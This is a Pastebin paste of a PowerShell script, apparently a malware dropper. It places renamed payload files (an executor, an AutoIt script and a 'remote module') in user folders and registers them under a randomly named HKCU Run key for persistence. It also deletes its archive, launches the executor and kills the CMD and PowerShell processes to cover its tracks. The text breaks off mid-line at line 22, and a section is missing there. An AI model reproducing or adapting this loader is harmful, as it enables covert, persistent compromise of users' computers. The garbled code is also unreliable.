Advertisement
imagemdel

Hiro

Sep 15th, 2022 (edited)
1,595
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.   $strCaminhoArquivoLog = "$env:UserProfile\$env:ComputerName$env:UserName.$env:Processor_Revision"
  2.  
  3.   $bExisteArquivoLog = [System.IO.File]::Exists($strCaminhoArquivoLog)
  4.  
  5.   function gera-strrand
  6.   {
  7.     -join ((65..90) + (97..122) | Get-Random -Count $args[0] | % {[char]$_})
  8.   }
  9.  
  10.   if (-Not $bExisteArquivoLog)
  11.   {
  12.     "" | Set-Content $strCaminhoArquivoLog
  13.  
  14.     $array = (0..4)
  15.  
  16.     $array[0] = [environment]::getfolderpath("Templates")
  17.     $array[1] = [environment]::GetFolderPath("ApplicationData")
  18.     $array[2] = [environment]::getfolderpath("MyDocuments")
  19.     $array[3] = [environment]::getfolderpath("MyMusic")
  20.     $array[4] = [environment]::getfolderpath("MyPictures")
  21.  
  22.     $Nu]
  23.       Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strNomeModuloExecutor
  24.       }
  25.       if($strNomeArquivo.StartsWith("02"))
  26.       {
  27.       Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strNomeScriptAutoIt
  28.       }
  29.       if($strNomeArquivo.StartsWith("03"))
  30.       {
  31.       Rename-Item -Path "$strCaminhoPastaCaixa$element" -NewName $strNomeModuloRemoto
  32.       }
  33.     }
  34.    
  35.   Start-Sleep -s 3
  36.     $registrokey = gera-strrand 9
  37.   $regPath = 'HKCU:\SOFTWARE\Microsoft\Windows\Currentversion\Run'
  38.     $Command = ("`"$strPathModuloExecutor`" `"$strPathScriptAutoIt`" `"$strPathModuloRemoto`"")
  39.   New-Item $regPath -Force | Out-Null
  40.   New-ItemProperty $regPath -Name "$registrokey" -Value "$Command" -Force | Out-Null  
  41.     Remove-Item -Path $strCaminhoCaixaZipada -Force
  42.     Get-ChildItem -Path $strCaminhoCaixaZipada | Remove-Item -Force
  43.     Stop-Process -name CMD
  44.   Start-Process "$strPathModuloExecutor"  
  45.     Stop-Process -name Powershell
  46.     cls
  47.     exit
  48.    
  49. }
  50.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement